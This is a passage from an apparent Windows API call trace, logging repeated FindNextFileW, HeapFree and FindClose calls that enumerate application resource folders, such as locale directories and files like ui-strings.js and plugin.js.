	[0167.092] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0167.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.093] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0167.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.094] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0167.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.095] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0167.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.096] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0167.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.097] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0167.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.097] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0167.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.098] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0167.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.099] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0167.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.100] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0167.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.101] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0167.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.101] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0167.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.101] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0167.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.102] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0167.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.103] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0167.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.104] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0167.104] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.104] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0167.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.105] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0167.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.106] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0167.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.107] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0167.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.108] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0167.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.110] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0167.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.110] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0167.111] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.111] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0167.112] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.112] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0167.113] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.113] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0167.113] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.113] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0167.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.114] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0167.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.114] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0167.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.115] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0167.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.117] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0167.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.118] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0167.118] FindClose (in: hFindFile=0x394b8b8 | out: hFindFile=0x394b8b8) returned 1
	[0167.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0167.118] FindNextFileW (in: hFindFile=0x394bab8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x399, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0167.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.120] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0
	[0167.120] FindClose (in: hFindFile=0x394b678 | out: hFindFile=0x394b678) returned 1
	[0167.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0167.120] FindNextFileW (in: hFindFile=0x394bab8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0
	[0167.120] FindClose (in: hFindFile=0x394bab8 | out: hFindFile=0x394bab8) returned 1
	[0167.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0167.121] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0167.121] FindClose (in: hFindFile=0x394bbf8 | out: hFindFile=0x394bbf8) returned 1
	[0167.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0167.167] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="createpdfupsell-app", cAlternateFileName="CREATE~1")) returned 1
	[0167.319] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0167.319] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0167.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
